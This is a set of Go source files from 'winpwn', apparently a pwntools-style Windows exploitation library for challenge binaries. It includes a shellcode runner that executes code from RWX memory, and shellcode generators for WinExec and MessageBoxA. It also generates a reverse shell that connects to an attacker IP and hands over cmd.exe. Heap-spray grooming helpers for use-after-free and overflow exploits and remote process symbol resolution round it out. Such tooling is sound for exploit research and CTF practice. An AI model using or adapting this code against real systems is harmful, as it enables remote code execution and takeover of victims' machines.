||||
import "errors"
|
||||
|
||||
// ExecuteShellcode is only available when winpwn is built for Windows.
|
||||
func ExecuteShellcode(code []byte) error {
|
||||
return errors.New("ExecuteShellcode requires GOOS=windows")
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
//go:build windows
|
||||
|
||||
package winpwn
|
||||
|
||||
import (
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
const (
|
||||
memCommit = 0x1000
|
||||
memReserve = 0x2000
|
||||
pageExecuteReadwrite = 0x40
|
||||
)
|
||||
|
||||
var (
|
||||
modNtdll = windows.NewLazySystemDLL("ntdll.dll")
|
||||
procMoveMemory = modNtdll.NewProc("RtlMoveMemory")
|
||||
)
|
||||
|
||||
// ExecuteShellcode VirtualAlloc's an RWX page, copies code into it, and
|
||||
// calls into it directly on the current thread — for locally validating a
|
||||
// shellcode template actually does what it claims before landing it via a
|
||||
// real exploit primitive (ROP chain, overwritten function pointer, ...).
|
||||
// Not something pwntools has a direct analogue for: Python can't call
|
||||
// raw machine code in-process, it always shells out to a target.
|
||||
func ExecuteShellcode(code []byte) error {
|
||||
addr, err := windows.VirtualAlloc(0, uintptr(len(code)), memCommit|memReserve, pageExecuteReadwrite)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Copy via RtlMoveMemory instead of building a Go slice over the raw
|
||||
// VirtualAlloc address: converting a bare uintptr (not derived from an
|
||||
// existing Pointer) into unsafe.Pointer is exactly what `go vet`'s
|
||||
// unsafeptr check exists to catch, even though it's safe here (the page
|
||||
// is OS-owned, not GC-tracked). Passing addr straight through as a
|
||||
// syscall argument sidesteps that conversion entirely.
|
||||
procMoveMemory.Call(addr, uintptr(unsafe.Pointer(&code[0])), uintptr(len(code)))
|
||||
|
||||
// syscall.Syscall's first argument is the address to call directly on
|
||||
// Windows (there's no syscall-number indirection here, unlike Unix).
|
||||
_, _, errno := syscall.Syscall(addr, 0, 0, 0, 0)
|
||||
if errno != 0 {
|
||||
return errno
|
||||
}
|
||||
return nil
|
||||
}
|
||||
+119
@@ -0,0 +1,119 @@
|
||||
package winpwn
|
||||
|
||||
import (
|
||||
_ "embed"
|
||||
"fmt"
|
||||
"net"
|
||||
)
|
||||
|
||||
// winexecX64Template is a prebuilt position-independent x64 shellcode blob
|
||||
// (see shellcode/asm/winexec_x64.asm — kept as auditable NASM source
|
||||
// alongside the compiled bytes, the same spirit as pwntools shipping
|
||||
// shellcraft templates, just compiled ahead-of-time with NASM instead of
|
||||
// assembled on demand with Keystone). It resolves kernel32's base via the
|
||||
// PEB and calls WinExec by name, so it needs no leaked address and no
|
||||
// hardcoded kernel32 base — just landing IP control (a ROP chain, an
|
||||
// overwritten function pointer, a vtable hijack, ...).
|
||||
//
|
||||
//go:embed shellcode/bin/winexec_x64.bin
|
||||
var winexecX64Template []byte
|
||||
|
||||
const winexecCmdBufSize = 260
|
||||
|
||||
// ShellcodeWinExec returns x64 shellcode equivalent to WinExec(command,
|
||||
// SW_SHOW): no hardcoded addresses, resolves kernel32 itself, returns
|
||||
// normally afterward so the host thread (and process) keeps running. The
|
||||
// winpwn analogue of pwntools' shellcraft.sh()/asm(shellcraft.execve(...)).
|
||||
func ShellcodeWinExec(command string) ([]byte, error) {
|
||||
cmd := append([]byte(command), 0)
|
||||
if len(cmd) > winexecCmdBufSize {
|
||||
return nil, fmt.Errorf("command too long: %d bytes (max %d including the NUL terminator)", len(cmd), winexecCmdBufSize)
|
||||
}
|
||||
|
||||
code := make([]byte, len(winexecX64Template))
|
||||
copy(code, winexecX64Template)
|
||||
off := len(code) - winexecCmdBufSize
|
||||
copy(code[off:], cmd)
|
||||
return code, nil
|
||||
}
|
||||
|
||||
// messageboxX64Template ([shellcode/asm/messagebox_x64.asm]) resolves
|
||||
// kernel32 via the PEB, then LoadLibraryA's user32.dll through
|
||||
// resolve_export (not guaranteed loaded in a plain console process, unlike
|
||||
// kernel32) to find MessageBoxA — same "no leaked address, no hardcoded
|
||||
// base" property as ShellcodeWinExec, just for a GUI primitive instead of
|
||||
// a process-launch one.
|
||||
//
|
||||
//go:embed shellcode/bin/messagebox_x64.bin
|
||||
var messageboxX64Template []byte
|
||||
|
||||
const (
|
||||
messageboxTextBufSize = 256
|
||||
messageboxCaptionBufSize = 64
|
||||
)
|
||||
|
||||
// ShellcodeMessageBoxA returns x64 shellcode equivalent to
|
||||
// MessageBoxA(NULL, text, caption, MB_OK). Returns normally once the user
|
||||
// (or whoever/whatever sends it a WM_CLOSE) dismisses the box, so the host
|
||||
// thread keeps running afterward — useful both as a real GUI-process
|
||||
// landing primitive and as a simple, visually-obvious "did my exploit
|
||||
// actually land IP control" proof.
|
||||
func ShellcodeMessageBoxA(text, caption string) ([]byte, error) {
|
||||
textBytes := append([]byte(text), 0)
|
||||
captionBytes := append([]byte(caption), 0)
|
||||
if len(textBytes) > messageboxTextBufSize {
|
||||
return nil, fmt.Errorf("text too long: %d bytes (max %d including the NUL terminator)", len(textBytes), messageboxTextBufSize)
|
||||
}
|
||||
if len(captionBytes) > messageboxCaptionBufSize {
|
||||
return nil, fmt.Errorf("caption too long: %d bytes (max %d including the NUL terminator)", len(captionBytes), messageboxCaptionBufSize)
|
||||
}
|
||||
|
||||
code := make([]byte, len(messageboxX64Template))
|
||||
copy(code, messageboxX64Template)
|
||||
|
||||
// caption_buf is the very last thing in the assembled blob, text_buf
|
||||
// right before it -- mirrors shellcode/asm/messagebox_x64.asm's layout.
|
||||
captionOff := len(code) - messageboxCaptionBufSize
|
||||
textOff := captionOff - messageboxTextBufSize
|
||||
copy(code[textOff:], textBytes)
|
||||
copy(code[captionOff:], captionBytes)
|
||||
return code, nil
|
||||
}
|
||||
|
||||
// reverseShellX64Template ([shellcode/asm/reverse_shell_x64.asm]) connects
|
||||
// back to a fixed host:port over ws2_32 and spawns cmd.exe with its stdio
|
||||
// redirected to the socket — the classic Windows reverse shell. Built on
|
||||
// the same resolve_export primitive as ShellcodeMessageBoxA (ws2_32.dll
|
||||
// isn't guaranteed loaded any more than user32.dll is).
|
||||
//
|
||||
//go:embed shellcode/bin/reverse_shell_x64.bin
|
||||
var reverseShellX64Template []byte
|
||||
|
||||
const sockaddrBufSize = 16
|
||||
|
||||
// ShellcodeReverseShell returns x64 shellcode that connects to host:port
|
||||
// and execs cmd.exe with its stdin/stdout/stderr redirected to that
|
||||
// connection. host must be a literal IPv4 address (this is raw shellcode,
|
||||
// it can't do DNS resolution) — pass the attacker box's IP, not a hostname.
|
||||
func ShellcodeReverseShell(host string, port uint16) ([]byte, error) {
|
||||
ip := net.ParseIP(host)
|
||||
if ip == nil {
|
||||
return nil, fmt.Errorf("invalid host %q: not an IP literal (shellcode can't resolve DNS)", host)
|
||||
}
|
||||
ip4 := ip.To4()
|
||||
if ip4 == nil {
|
||||
return nil, fmt.Errorf("host %q is not an IPv4 address", host)
|
||||
}
|
||||
|
||||
code := make([]byte, len(reverseShellX64Template))
|
||||
copy(code, reverseShellX64Template)
|
||||
|
||||
// sockaddr_buf is the last thing in the assembled blob: sin_family(2)
|
||||
// sin_port(2) sin_addr(4) sin_zero(8) = 16 bytes total.
|
||||
sockaddrOff := len(code) - sockaddrBufSize
|
||||
code[sockaddrOff+2] = byte(port >> 8) // sin_port, network byte order
|
||||
code[sockaddrOff+3] = byte(port)
|
||||
copy(code[sockaddrOff+4:sockaddrOff+8], ip4) // sin_addr, already network-order bytes
|
||||
|
||||
return code, nil
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
//go:build windows
|
||||
|
||||
package winpwn
|
||||
|
||||
import (
|
||||
"syscall"
|
||||
"testing"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
var (
|
||||
user32ForTest = windows.NewLazySystemDLL("user32.dll")
|
||||
procEnumWindows = user32ForTest.NewProc("EnumWindows")
|
||||
procGetWindowTextW = user32ForTest.NewProc("GetWindowTextW")
|
||||
procPostMessageW = user32ForTest.NewProc("PostMessageW")
|
||||
)
|
||||
|
||||
const wmClose = 0x0010
|
||||
|
||||
// TestShellcodeMessageBoxA runs the real shellcode (via ExecuteShellcode)
|
||||
// and checks for a real window with the expected title -- not just "didn't
|
||||
// crash". This proves resolve_export actually found LoadLibraryA in
|
||||
// kernel32, loaded user32.dll (not guaranteed loaded in a test binary),
|
||||
// resolved MessageBoxA inside it, and called it with the right calling
|
||||
// convention. The window is dismissed programmatically (WM_CLOSE) so the
|
||||
// test doesn't hang waiting for a human.
|
||||
func TestShellcodeMessageBoxA(t *testing.T) {
|
||||
const wantTitle = "winpwn test"
|
||||
code, err := ShellcodeMessageBoxA("hello from winpwn", wantTitle)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
myPID := windows.GetCurrentProcessId()
|
||||
done := make(chan error, 1)
|
||||
go func() {
|
||||
done <- ExecuteShellcode(code)
|
||||
}()
|
||||
|
||||
var found windows.HWND
|
||||
deadline := time.Now().Add(10 * time.Second)
|
||||
for time.Now().Before(deadline) && found == 0 {
|
||||
cb := syscall.NewCallback(func(hwnd windows.HWND, _ uintptr) uintptr {
|
||||
var pid uint32
|
||||
windows.GetWindowThreadProcessId(hwnd, &pid)
|
||||
if pid != myPID {
|
||||
return 1 // continue enumeration
|
||||
}
|
||||
buf := make([]uint16, 256)
|
||||
procGetWindowTextW.Call(uintptr(hwnd), uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)))
|
||||
if windows.UTF16ToString(buf) == wantTitle {
|
||||
found = hwnd
|
||||
return 0 // stop enumeration
|
||||
}
|
||||
return 1
|
||||
})
|
||||
procEnumWindows.Call(cb, 0)
|
||||
if found == 0 {
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
}
|
||||
}
|
||||
|
||||
if found == 0 {
|
||||
t.Fatalf("never saw a real window titled %q -- MessageBoxA shellcode did not pop a window", wantTitle)
|
||||
}
|
||||
|
||||
procPostMessageW.Call(uintptr(found), wmClose, 0, 0)
|
||||
|
||||
select {
|
||||
case err := <-done:
|
||||
if err != nil {
|
||||
t.Errorf("ExecuteShellcode returned an error after dismissal: %v", err)
|
||||
}
|
||||
case <-time.After(5 * time.Second):
|
||||
t.Fatal("shellcode goroutine never returned after WM_CLOSE")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
package winpwn
|
||||
|
||||
// SprayResult is one labeled sample produced by a single spray attempt --
|
||||
// ID is caller-defined (a protocol id, an attempt index, whatever the
|
||||
// target's own response associates with the sample) and Key is whatever
|
||||
// comparable, measurable value the attempt produced, almost always a
|
||||
// leaked heap/pointer address.
|
||||
type SprayResult[K any] struct {
|
||||
ID int
|
||||
Key K
|
||||
}
|
||||
|
||||
// SprayAndFind is the one grooming-loop shape behind both
|
||||
// examples/heap_lfh and examples/heap_segment, pulled out into the library
|
||||
// after writing near-identical versions of it twice by hand for those two
|
||||
// tasks -- exactly the kind of repeated pattern worth a real primitive
|
||||
// instead of a third copy-paste for the next heap task.
|
||||
//
|
||||
// It repeats spray up to maxAttempts times. After each new sample, it
|
||||
// checks that sample against every sample collected so far (seed, plus
|
||||
// every prior spray result) via match(older, newer); the first pair match
|
||||
// reports true for is returned immediately, without spending the remaining
|
||||
// attempts. Two distinct grooming shapes fall out of how seed/match are
|
||||
// used:
|
||||
//
|
||||
// - "Does a spray ever land on this one known target?" (examples/heap_lfh's
|
||||
// UAF: spray same-size replacements until one reuses the freed victim's
|
||||
// slot) -- pass seed as the single already-known sample (e.g. the freed
|
||||
// victim's leaked address) and match as plain equality. Every spray
|
||||
// attempt is then checked against that one fixed target.
|
||||
// - "Do any two sprayed samples satisfy a relation to each other?"
|
||||
// (examples/heap_segment's adjacent-chunk overflow: find two allocations
|
||||
// exactly sizeof(struct) apart) -- pass seed as nil/empty and match as
|
||||
// the relation itself (e.g. "exactly N bytes apart"). Every new sample
|
||||
// is checked against everything sprayed before it.
|
||||
//
|
||||
// Returns the matching (older, newer) pair, the attempt count spray reached
|
||||
// before finding it, and ok=false if maxAttempts was exhausted with no
|
||||
// match -- the caller decides whether that's worth retrying with a bigger
|
||||
// spray (both example solve scripts just log.Fatal on it, since their
|
||||
// USAGE.md walkthroughs already establish what spray size is reliable on a
|
||||
// given machine/OS build; that reliability number is empirical, not a
|
||||
// constant this function can know).
|
||||
func SprayAndFind[K any](seed []SprayResult[K], maxAttempts int, spray func(attempt int) (SprayResult[K], error), match func(older, newer K) bool) (older, newer SprayResult[K], attempts int, ok bool, err error) {
|
||||
samples := make([]SprayResult[K], len(seed))
|
||||
copy(samples, seed)
|
||||
|
||||
for attempt := 1; attempt <= maxAttempts; attempt++ {
|
||||
s, serr := spray(attempt)
|
||||
if serr != nil {
|
||||
return SprayResult[K]{}, SprayResult[K]{}, attempt, false, serr
|
||||
}
|
||||
|
||||
for _, prev := range samples {
|
||||
if match(prev.Key, s.Key) {
|
||||
return prev, s, attempt, true, nil
|
||||
}
|
||||
}
|
||||
|
||||
samples = append(samples, s)
|
||||
}
|
||||
|
||||
return SprayResult[K]{}, SprayResult[K]{}, maxAttempts, false, nil
|
||||
}
|
||||
+114
@@ -0,0 +1,114 @@
|
||||
package winpwn
|
||||
|
||||
import "testing"
|
||||
|
||||
// TestSprayAndFindSeededTarget exercises the examples/heap_lfh shape: a
|
||||
// single pre-seeded target (the freed victim's leaked address), spraying
|
||||
// replacements until one happens to equal it.
|
||||
func TestSprayAndFindSeededTarget(t *testing.T) {
|
||||
const victimAddr = uint64(0xdead0000)
|
||||
replacements := []uint64{0x1111, 0x2222, victimAddr, 0x3333}
|
||||
|
||||
older, newer, attempts, ok, err := SprayAndFind(
|
||||
[]SprayResult[uint64]{{ID: -1, Key: victimAddr}},
|
||||
len(replacements),
|
||||
func(attempt int) (SprayResult[uint64], error) {
|
||||
return SprayResult[uint64]{ID: attempt, Key: replacements[attempt-1]}, nil
|
||||
},
|
||||
func(a, b uint64) bool { return a == b },
|
||||
)
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if !ok {
|
||||
t.Fatal("expected a match")
|
||||
}
|
||||
if attempts != 3 {
|
||||
t.Errorf("attempts = %d, want 3 (the index where victimAddr reappears)", attempts)
|
||||
}
|
||||
if older.ID != -1 || older.Key != victimAddr {
|
||||
t.Errorf("older = %+v, want the seeded victim", older)
|
||||
}
|
||||
if newer.Key != victimAddr {
|
||||
t.Errorf("newer.Key = 0x%x, want 0x%x", newer.Key, victimAddr)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSprayAndFindAdjacentPair exercises the examples/heap_segment shape: no
|
||||
// seed, searching every sprayed sample against every other for a relation
|
||||
// (here, "exactly 32 apart").
|
||||
func TestSprayAndFindAdjacentPair(t *testing.T) {
|
||||
const profileSize = 32
|
||||
addrs := []uint64{0x1000, 0x1080, 0x1300, 0x1300 + profileSize} // last two are 32 apart
|
||||
|
||||
older, newer, _, ok, err := SprayAndFind(
|
||||
nil,
|
||||
len(addrs),
|
||||
func(attempt int) (SprayResult[uint64], error) {
|
||||
return SprayResult[uint64]{ID: attempt, Key: addrs[attempt-1]}, nil
|
||||
},
|
||||
func(a, b uint64) bool {
|
||||
d := int64(b) - int64(a)
|
||||
return d == profileSize || d == -profileSize
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if !ok {
|
||||
t.Fatal("expected an adjacent pair to be found")
|
||||
}
|
||||
if older.ID != 3 || newer.ID != 4 {
|
||||
t.Errorf("got pair ids (%d, %d), want (3, 4)", older.ID, newer.ID)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSprayAndFindExhaustsAttempts(t *testing.T) {
|
||||
_, _, attempts, ok, err := SprayAndFind(
|
||||
nil,
|
||||
5,
|
||||
func(attempt int) (SprayResult[uint64], error) {
|
||||
return SprayResult[uint64]{ID: attempt, Key: uint64(attempt)}, nil
|
||||
},
|
||||
func(a, b uint64) bool { return false }, // never matches
|
||||
)
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if ok {
|
||||
t.Fatal("expected no match")
|
||||
}
|
||||
if attempts != 5 {
|
||||
t.Errorf("attempts = %d, want 5 (maxAttempts exhausted)", attempts)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSprayAndFindPropagatesSprayError(t *testing.T) {
|
||||
wantErr := errSprayTest
|
||||
_, _, attempts, ok, err := SprayAndFind(
|
||||
nil,
|
||||
5,
|
||||
func(attempt int) (SprayResult[uint64], error) {
|
||||
if attempt == 2 {
|
||||
return SprayResult[uint64]{}, wantErr
|
||||
}
|
||||
return SprayResult[uint64]{ID: attempt, Key: uint64(attempt)}, nil
|
||||
},
|
||||
func(a, b uint64) bool { return false },
|
||||
)
|
||||
if err != wantErr {
|
||||
t.Fatalf("err = %v, want %v", err, wantErr)
|
||||
}
|
||||
if ok {
|
||||
t.Fatal("ok should be false on a spray error")
|
||||
}
|
||||
if attempts != 2 {
|
||||
t.Errorf("attempts = %d, want 2 (the attempt that errored)", attempts)
|
||||
}
|
||||
}
|
||||
|
||||
var errSprayTest = errSprayTestSentinel{}
|
||||
|
||||
type errSprayTestSentinel struct{}
|
||||
|
||||
func (errSprayTestSentinel) Error() string { return "spray error" }
|
||||
@@ -0,0 +1,11 @@
|
||||
//go:build !windows
|
||||
|
||||
package winpwn
|
||||
|
||||
func ListLoadedModules(pid uint32) (map[string]uintptr, error) {
|
||||
return nil, errWindowsOnly
|
||||
}
|
||||
|
||||
func SymbolVA(pid uint32, dll, name string) (uintptr, error) {
|
||||
return 0, errWindowsOnly
|
||||
}
|
||||
@@ -0,0 +1,226 @@
|
||||
//go:build windows
|
||||
|
||||
package winpwn
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// ListLoadedModules walks pid's PEB → Ldr → InMemoryOrderModuleList and
|
||||
// returns the load address of every currently-loaded module, keyed by
|
||||
// lower-cased base name ("kernel32.dll", "ntdll.dll", etc.).
|
||||
//
|
||||
// This is the single-call equivalent of calling ResolveModuleBase for every
|
||||
// DLL in the process — use it when you need more than one or two bases, or
|
||||
// when you want to enumerate what's loaded without knowing names in advance.
|
||||
func ListLoadedModules(pid uint32) (map[string]uintptr, error) {
|
||||
h, err := windows.OpenProcess(
|
||||
windows.PROCESS_QUERY_INFORMATION|windows.PROCESS_VM_READ, false, pid)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer windows.CloseHandle(h)
|
||||
return ldrWalkAll(h, pid)
|
||||
}
|
||||
|
||||
// ldrWalkAll performs the PEB→Ldr→InMemoryOrderModuleList walk and collects
|
||||
// every entry, keyed by lower-cased base name. Shared by ListLoadedModules
|
||||
// and ProcessSymbols.loadAll.
|
||||
func ldrWalkAll(h windows.Handle, pid uint32) (map[string]uintptr, error) {
|
||||
var pbi windows.PROCESS_BASIC_INFORMATION
|
||||
var retLen uint32
|
||||
if err := windows.NtQueryInformationProcess(h, windows.ProcessBasicInformation,
|
||||
unsafe.Pointer(&pbi), uint32(unsafe.Sizeof(pbi)), &retLen); err != nil {
|
||||
return nil, fmt.Errorf("NtQueryInformationProcess: %w", err)
|
||||
}
|
||||
pebAddr := uintptr(unsafe.Pointer(pbi.PebBaseAddress))
|
||||
if pebAddr == 0 {
|
||||
return nil, fmt.Errorf("PEB is null for pid %d (not yet initialized?)", pid)
|
||||
}
|
||||
|
||||
peb, err := readRemoteStruct[windows.PEB](h, pebAddr)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("read PEB: %w", err)
|
||||
}
|
||||
ldrAddr := uintptr(unsafe.Pointer(peb.Ldr))
|
||||
if ldrAddr == 0 {
|
||||
return nil, fmt.Errorf("PEB.Ldr is null (loader not yet run in pid %d)", pid)
|
||||
}
|
||||
|
||||
ldr, err := readRemoteStruct[windows.PEB_LDR_DATA](h, ldrAddr)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("read PEB_LDR_DATA: %w", err)
|
||||
}
|
||||
|
||||
entryLinksOffset := unsafe.Offsetof(windows.LDR_DATA_TABLE_ENTRY{}.InMemoryOrderLinks)
|
||||
headAddr := ldrAddr + unsafe.Offsetof(windows.PEB_LDR_DATA{}.InMemoryOrderModuleList)
|
||||
|
||||
out := make(map[string]uintptr)
|
||||
cur := uintptr(unsafe.Pointer(ldr.InMemoryOrderModuleList.Flink))
|
||||
for cur != 0 && cur != headAddr {
|
||||
entryAddr := cur - entryLinksOffset
|
||||
entry, err := readRemoteStruct[windows.LDR_DATA_TABLE_ENTRY](h, entryAddr)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("read LDR_DATA_TABLE_ENTRY: %w", err)
|
||||
}
|
||||
if name, err := readRemoteUTF16(h, entry.FullDllName); err == nil {
|
||||
key := strings.ToLower(moduleBaseName(name))
|
||||
if key != "" {
|
||||
out[key] = entry.DllBase
|
||||
}
|
||||
}
|
||||
cur = uintptr(unsafe.Pointer(entry.InMemoryOrderLinks.Flink))
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// SymbolVA resolves the virtual address of a named export from a module
|
||||
// currently loaded in pid. It combines ResolveModuleBase + OpenPEFromProcess
|
||||
// + GetProcAddress into a single call — the Go equivalent of pwintools'
|
||||
// p.symbols["kernel32.dll"]["WinExec"].
|
||||
func SymbolVA(pid uint32, dll, name string) (uintptr, error) {
|
||||
base, err := ResolveModuleBase(pid, dll)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
pf, err := OpenPEFromProcess(pid, base)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("open %s in pid %d: %w", dll, pid, err)
|
||||
}
|
||||
defer pf.Close()
|
||||
rva, err := pf.GetProcAddress(name)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("%s!%s: %w", dll, name, err)
|
||||
}
|
||||
return base + uintptr(rva), nil
|
||||
}
|
||||
|
||||
// ProcessSymbols resolves and caches loaded-module bases and exported symbol
|
||||
// VAs for a running process — the Go equivalent of pwintools' p.libs /
|
||||
// p.symbols. Caches one PEFile per DLL so repeated symbol lookups in the
|
||||
// same module are cheap.
|
||||
//
|
||||
// Usage:
|
||||
//
|
||||
// tube, _ := winpwn.Spawn("chal.exe")
|
||||
// sym := winpwn.NewProcessSymbols(tube.PID())
|
||||
// defer sym.Close()
|
||||
//
|
||||
// k32, _ := sym.Base("kernel32.dll")
|
||||
// winexec, _ := sym.Symbol("kernel32.dll", "WinExec")
|
||||
// mods, _ := sym.Modules() // all loaded DLLs
|
||||
type ProcessSymbols struct {
|
||||
pid uint32
|
||||
mu sync.Mutex
|
||||
cache map[string]*symModule // keyed by lower-cased base name
|
||||
}
|
||||
|
||||
type symModule struct {
|
||||
base uintptr
|
||||
pf *PEFile
|
||||
}
|
||||
|
||||
// NewProcessSymbols creates a ProcessSymbols for the given PID. No I/O
|
||||
// happens until the first Base/Symbol call.
|
||||
func NewProcessSymbols(pid uint32) *ProcessSymbols {
|
||||
return &ProcessSymbols{pid: pid, cache: make(map[string]*symModule)}
|
||||
}
|
||||
|
||||
// Base returns the load address of the named module (e.g. "kernel32.dll"),
|
||||
// the Go equivalent of pwintools' p.libs["kernel32.dll"].
|
||||
func (ps *ProcessSymbols) Base(dll string) (uint64, error) {
|
||||
m, err := ps.loadModule(dll)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
return uint64(m.base), nil
|
||||
}
|
||||
|
||||
// Symbol returns the virtual address of name exported from dll
|
||||
// (e.g. "kernel32.dll", "WinExec"), the equivalent of pwintools'
|
||||
// p.symbols["kernel32.dll"]["WinExec"].
|
||||
func (ps *ProcessSymbols) Symbol(dll, name string) (uint64, error) {
|
||||
m, err := ps.loadModule(dll)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
rva, err := m.pf.GetProcAddress(name)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("%s!%s: %w", dll, name, err)
|
||||
}
|
||||
return uint64(m.base) + uint64(rva), nil
|
||||
}
|
||||
|
||||
// Modules returns a snapshot of every module currently loaded in the process,
|
||||
// keyed by lower-cased base name — the equivalent of pwintools' p.libs dict.
|
||||
func (ps *ProcessSymbols) Modules() (map[string]uint64, error) {
|
||||
raw, err := ListLoadedModules(ps.pid)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out := make(map[string]uint64, len(raw))
|
||||
for k, v := range raw {
|
||||
out[k] = uint64(v)
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// AllSymbols returns every named export from dll as a map of name → VA.
|
||||
// Useful for quick "what's available" exploration without knowing exact names.
|
||||
func (ps *ProcessSymbols) AllSymbols(dll string) (map[string]uint64, error) {
|
||||
m, err := ps.loadModule(dll)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
exports, err := m.pf.ListExports()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out := make(map[string]uint64, len(exports))
|
||||
for _, e := range exports {
|
||||
if e.Name != "" && e.RVA != 0 {
|
||||
out[e.Name] = uint64(m.base) + uint64(e.RVA)
|
||||
}
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// Close releases all cached PEFile handles. Safe to call more than once.
|
||||
func (ps *ProcessSymbols) Close() {
|
||||
ps.mu.Lock()
|
||||
defer ps.mu.Unlock()
|
||||
for _, m := range ps.cache {
|
||||
if m.pf != nil {
|
||||
m.pf.Close()
|
||||
}
|
||||
}
|
||||
ps.cache = nil
|
||||
}
|
||||
|
||||
func (ps *ProcessSymbols) loadModule(dll string) (*symModule, error) {
|
||||
key := strings.ToLower(moduleBaseName(dll))
|
||||
ps.mu.Lock()
|
||||
defer ps.mu.Unlock()
|
||||
if ps.cache == nil {
|
||||
return nil, fmt.Errorf("ProcessSymbols already closed")
|
||||
}
|
||||
if m, ok := ps.cache[key]; ok {
|
||||
return m, nil
|
||||
}
|
||||
base, err := ResolveModuleBase(ps.pid, dll)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
pf, err := OpenPEFromProcess(ps.pid, base)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("open %s in pid %d: %w", dll, ps.pid, err)
|
||||
}
|
||||
m := &symModule{base: base, pf: pf}
|
||||
ps.cache[key] = m
|
||||
return m, nil
|
||||
}
|
||||
@@ -0,0 +1,292 @@
|
||||
package winpwn
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"os"
|
||||
"os/exec"
|
||||
"os/signal"
|
||||
"regexp"
|
||||
"sync"
|
||||
"syscall"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Tube is the core abstraction for talking to a target: a spawned local
|
||||
// process or a remote TCP connection. It mirrors pwntools' tube class and
|
||||
// is the type every transport (Spawn, Remote, ...) returns.
|
||||
//
|
||||
// Every blocking call returns an error instead of killing the process --
|
||||
// callers decide what a timeout/EOF/closed-connection means for their
|
||||
// script, the same way pwntools raises (and lets you catch) EOFError /
|
||||
// PwnlibException instead of the library calling sys.exit().
|
||||
type Tube struct {
|
||||
cmd *exec.Cmd
|
||||
conn net.Conn
|
||||
stdin io.WriteCloser
|
||||
stdout io.ReadCloser
|
||||
reader *bufio.Reader
|
||||
|
||||
// timeout overrides Context.Timeout for this tube specifically; zero
|
||||
// means "fall back to Context.Timeout" (which is itself zero/forever
|
||||
// by default). Set via SetTimeout.
|
||||
timeout time.Duration
|
||||
|
||||
closeOnce sync.Once
|
||||
closeErr error
|
||||
}
|
||||
|
||||
// newTube wraps a writer/reader pair into a Tube with a buffered reader.
|
||||
func newTube(cmd *exec.Cmd, conn net.Conn, stdin io.WriteCloser, stdout io.ReadCloser) *Tube {
|
||||
return &Tube{
|
||||
cmd: cmd,
|
||||
conn: conn,
|
||||
stdin: stdin,
|
||||
stdout: stdout,
|
||||
reader: bufio.NewReader(stdout),
|
||||
}
|
||||
}
|
||||
|
||||
// SetTimeout overrides Context.Timeout for this tube's Recv*/Send* calls.
|
||||
// Zero means block forever (the default), matching pwntools' per-tube
|
||||
// timeout= override of the global context.timeout.
|
||||
func (t *Tube) SetTimeout(d time.Duration) {
|
||||
t.timeout = d
|
||||
}
|
||||
|
||||
func (t *Tube) effectiveTimeout() time.Duration {
|
||||
if t.timeout > 0 {
|
||||
return t.timeout
|
||||
}
|
||||
return Context.Timeout
|
||||
}
|
||||
|
||||
// PID returns the OS process ID for a locally spawned process, or 0 for
|
||||
// remote tubes. Use it to feed winpwn.NewProcessSymbols or
|
||||
// winpwn.ListProcessHeaps without having to track the PID separately.
|
||||
func (t *Tube) PID() uint32 {
|
||||
if t.cmd != nil && t.cmd.Process != nil {
|
||||
return uint32(t.cmd.Process.Pid)
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
// Close tears down the underlying process/connection. Safe to call more
|
||||
// than once (idempotent) -- Interactive relies on this to make a pending
|
||||
// stdin write fail fast instead of dangling.
|
||||
func (t *Tube) Close() error {
|
||||
t.closeOnce.Do(func() {
|
||||
if t.stdin != nil {
|
||||
_ = t.stdin.Close()
|
||||
}
|
||||
if t.stdout != nil {
|
||||
_ = t.stdout.Close()
|
||||
}
|
||||
if t.conn != nil {
|
||||
t.closeErr = t.conn.Close()
|
||||
return
|
||||
}
|
||||
if t.cmd != nil && t.cmd.Process != nil {
|
||||
t.closeErr = t.cmd.Process.Kill()
|
||||
}
|
||||
})
|
||||
